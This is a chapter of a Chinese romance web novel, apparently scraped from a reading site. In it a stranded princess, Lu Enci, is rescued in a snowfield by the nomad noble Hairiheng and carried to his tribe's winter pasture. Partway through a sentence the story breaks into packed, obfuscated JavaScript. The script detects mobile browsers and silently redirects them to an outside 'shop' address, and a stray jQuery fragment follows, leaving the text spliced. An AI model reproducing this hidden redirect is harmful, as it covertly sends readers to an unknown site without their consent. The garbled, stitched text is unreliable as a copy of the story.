听到声响,卢恩慈行动比思考更快一步,本能地将匕首横在胸前。
“怎么和第一次见面一样?你又拿匕首对着我!”来人语气带着委屈:“我们就不能好好说话吗?”
卢恩慈手上划开狼皮的动作不停,眼眸抬起。
此时天边的云层露出曙光。
借着日光观察眼前人的打扮,是位二十岁左右的北戎贵族。
他身材高大,哪怕蹲在卢恩慈身前,也像座小山似的,挡住了她的大部分视线。
这人头上顶着白绒狐毛帽,身披光亮顺滑的貂裘,硕大的红珊瑚和金石珠串叮叮当当戴在身上。
卢恩慈打量了他别具异域风情的五官,心下松了一口气:“我记得你,你是格日娜的弟弟。”
“那你记得我的名字吗?”那青年哼了一声,看似佯装不满,但眼里的期盼要溢出来。
卢恩慈瞅了瞅他,用雪块清理匕首上的血迹,摇了摇头。
“我再告诉你一次吧。”青年生怕卢恩慈再忘了,特意放慢语速:“我叫——”
“海日恒。”卢恩慈觉得逗他格外好玩,刚刚故意装作不记得,想看他气急败坏的模样。
“你耍我!我这下真的不会搭理你了!再也不和你一块儿玩了!”海日恒扭过头,和七八岁闹别扭的小孩没有区别。
卢恩慈不理他,用积雪把狼皮上的污血擦干净,将它披在两个小孩身上,给他们保暖。
海日恒见卢恩慈不来哄他,忙着自己的事,巴巴地又凑过来:“你还没回答我呢,你怎么在这里?”
“这里是哪?”卢恩慈环顾四野,没有任何可以分辨方位的标志。
“希拉穆仁冬牧场。”海日恒乖乖答道:“这地下有热温泉,冬天牧草也不枯萎。”
“希拉穆仁……”卢恩慈闭上眼想:“距离凉州将近两百里地。”
“确切来说是一百八十里。”海日恒席地而坐,帮卢恩慈处理狼肉:“欸,你还在用这把匕首!你夫子送给你的,对吧?阿拉古锻造的火蓝锋!”
“嗯。”卢恩慈点点头。
“我听说了你的事。”海日恒直直地看着卢恩慈:“你被选去和塞柱部和亲,他们对你无礼,秦将军一举歼灭了他们,你便留在凉州了。”
“是。”卢恩慈侧过头:“让你失望了。”
“失望?我怎么会失望?我听到这个消息时,高兴得骑着马围着草场跑了一天一夜!”海日恒对卢恩慈的话大为不解。
“歼灭了你们北戎的军队,你不失望?难不成你心系大周?”卢恩慈手中转动着匕首,瞧着海日恒。
“北戎只是统称,各部落是独立的。”海日恒把狼肉狼骨分好:“我们部落向来看不起去大周劫掠的部落。抢再多别人的东西,也不如自己好好发展。”
“难怪大周一建立,你们部落就派使者和大周互通有无。”卢恩慈思索片刻,拍拍他的肩膀:“我俩所见略同啊。”
“所以,你是带着你的侍童来打猎吗?”海日恒倾身过来:“你给我们递个消息啊,我能好好招待你!”
“什么侍童啊……我带这两个孩子在凉州看病,回平夏镇的途中,骡子失控,带着我们仨冲进茫茫雪原。”卢恩慈精简事情经过:“我就带着他们走过来了。”
“所以,你们出了意外后,趟着雪,走了一夜?”海日恒吃惊地站起,音量放大。
“也不是漫无目的地瞎走。我认出一个木牌上有北戎语的‘牧场’二字,才坚持着走过来。”卢恩慈轻描淡写昨夜惊险的遭遇。
“你知不知道这有多危险!”海日恒开始后怕:“我真以为你是来打猎的!”
“算是吧,打到了一只狼呢。”卢恩慈指指眼前血迹干涸的狼。
“这狼半夜偷袭羊圈,我把它的左后腿射伤,一路追过来。”海日恒攥住卢恩慈的手腕:“若是一只健全的野狼,你现在估计死无全尸了!”
“就算那样,我也会搏斗至最后一口气。”卢恩慈把匕首别至腰间。
“不许你这么说,你会平平安安的!”海日恒急了。
卢恩慈忽地转过身,抬眸和海日恒对望。
海日恒看了她一眼,脸不知是害羞还是冻住,双颊飞上红云:“你看我做什么?”
“冬牧场离这里有多远?”卢恩慈直接抛出问题。
“一刻钟。”海日恒如实回答。
“帮我个忙吧,带我去你们的牧场。”卢恩慈示意海日恒看向那两个孩子:“他们一个从昨夜昏迷到现在,一个跟着我走了一夜,需要保暖和吃食。”
“你不说,我也会把你们带过去的。”海日恒用手掌包裹住卢恩慈的双手——冰冷彻骨。
真不知她是怎么带着两个孩子穿越雪原,还徒手杀狼的。
海日恒一边想着,一边将她的手拢着,朝她手上吹气。
卢恩慈有些不好意思,想抽回手,可又贪恋海日恒带给她的温暖,便由着他了。
等确定卢恩慈手部的血液循环畅通,海日恒才放开手,把那两个孩子一把抱起,放在马上。
“你这马能同时背四个人吗?”卢恩慈犹豫片刻,开口问道。
“不能,所以我只打算让这两个娃娃骑马。”海日恒牵着缰绳回应她。
好吧,那她在地上走吧。卢恩慈没有提出异议。
谁知,海日恒走过来,背对着她弯下腰:“上来。”
“啊?”卢恩慈没反应过来。
“我背你。”海日恒回头看看卢恩慈:“你的腿在雪地走了一夜,再走,就真的要冻坏了。冻坏可没法治,只能割了。”
海日恒没说完,就感到背上一沉。
矜持可没有她的健康重要!她不能失去她的双腿!卢恩慈用手紧攥着他的肩领,依言趴在他背上。
她从背后偷偷地近距离打量海日恒。
海日恒耳上坠着两个大金环,但丝毫不显俗气,和他古铜色的肌肤十分相衬。
身上是太阳晒过青青草地的味道。
他仿佛就应该整日驰骋在草原上,如同抓不住的一缕清风。
但现在,海日恒正背着他走路。她只要伸手,就能搂住他的脖子。
“谢谢你。”卢恩慈顿了顿,又道:“敖其拉。”
“什么?”海日恒没有回头:“没听清!”
“敖其拉。”卢恩慈再次重复:“北戎语里谢谢你的意思,我说得可能不太标准。”
海日恒不置可否:“你刚说你昨夜认出了木牌上北戎语的‘牧场’。你在哪儿学的北戎语?”
“书上。怎么啦?”卢恩慈:“你是不是笑话我的发音啊!”
海日恒笑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087264|192395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇了摇头,不再回复。只一步一个脚印,往牧场的方向走。
他的马驮着两个孩子,温顺地跟在主人的身后。
暖阳终于驱散了最后一抹夜色,光芒普照大地,为雪原洒上金辉。
因为是步行,到希拉穆仁冬牧场时,花了足足两刻钟。
冬牧场里人来人往。不止有海日恒的部落,还有其他几个部落。
他们一派和谐,其乐融融。有人把酒言欢,有人载歌载舞。
海日恒所在的部落势力最为强盛,他又是首领的最宠爱的小儿子。因此他一出现在牧场门口,众人目光都看向他。
“海日恒,你捉到那匹狼了吗——”一人刚要上前,看着海日恒带回三个中原人,把话咽回去。
“当然捉到了,宰杀好装麻袋里了。”海日恒吩咐道:“帮我烧热水,越快越好!”
“海日恒,你出去一趟,原来是去英雄救美啊。”他熟识的一个玩伴走过来:“这位姑娘怎么低着头?”
卢恩慈其实是全身脱力,才低头趴在海日恒肩头。闻言,她正要抬起,可海日恒气恼,朝他玩伴喊道:“不许你看她!”
牧场中的人们注视着他们,看得卢恩慈不好意思,想要下来。
海日恒不松手,轻声劝道:“你别管他们,我带你去帐篷里休息。”
海日恒素来不近女色,平日的爱好只有骑马射箭。
所以,他带着一位姑娘和两个孩子回牧场的消息不胫而走,很快传遍了整个冬牧场。
海日恒对此浑然不觉。
他一面唤了位医师,给昏迷不醒的小男孩治伤,一面让人给小芽换衣服,给她煮烫饭吃。
卢恩慈身上裹着海日恒的皮袄子——刚刚海日恒不容拒绝地给她披上。她站在一旁,看着海日恒忙前忙后,帮不上什么忙。
“来,牛奶。”海日恒忙完,盘腿坐到她脚边:“你身子暖和些没有?要不要我再给你拿个暖炉?”
“不用了。”卢恩慈很感激:“滴水恩当涌泉报。你下次要是去凉州玩,我一定做东!”
“别和我客气!”海日恒低头想想,又改口道:“那你把给我的报酬先欠着,我还没想好要你谢我什么。”
“好。”卢恩慈啜饮着鲜牛奶。
“真的吗?我不信——”爽朗的女声传来。她掀帘而入,又惊又喜:“卢恩慈?大周的长公主殿下!”
格日娜大步走到她身边:“他们说海日恒带姑娘回部落,我不信。他可从来不和没有血缘关系的异性说话。原来是你,那就说通了。”
“如何说通了?”卢恩慈好奇。
“因为他对你——”格日娜正要说完,被海日恒阻止:“阿姐!”
“好吧。等他亲口告诉你吧。”格日娜转过身:“你俩怎么碰上了?”
卢恩慈把事情的经过复述一遍。
“谢天谢地,你没事就好!”格日娜听着都心惊肉跳。
“请帮我传个消息回去,告诉他们我安好。”卢恩慈不敢想商泽亭知道她失踪后得多着急。
“好。你给我个信物,我命人送过去。”格日娜应下:“要不就这个匕首吧。”
卢恩慈不想把匕首交出去,这是她唯一能防身的东西。
可除了匕首,她几乎没戴什么东西。
“有了!”